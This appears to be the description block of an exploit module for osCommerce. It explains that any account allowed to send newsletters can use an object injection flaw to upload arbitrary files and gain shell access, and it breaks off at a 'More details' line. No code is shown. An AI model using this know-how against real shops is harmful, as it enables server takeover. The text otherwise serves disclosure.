"""
osCommerce does by default not allow Users to upload arbitrary files from the Admin Panel. However, any user
being privileged enough to send newsletters can exploit an objection injection in the osCommerce core to
upload any file, allowing the user to gain shell access. The user does not need to be an administrator,
any account with access to the newsletters will do.
More details can be found here:
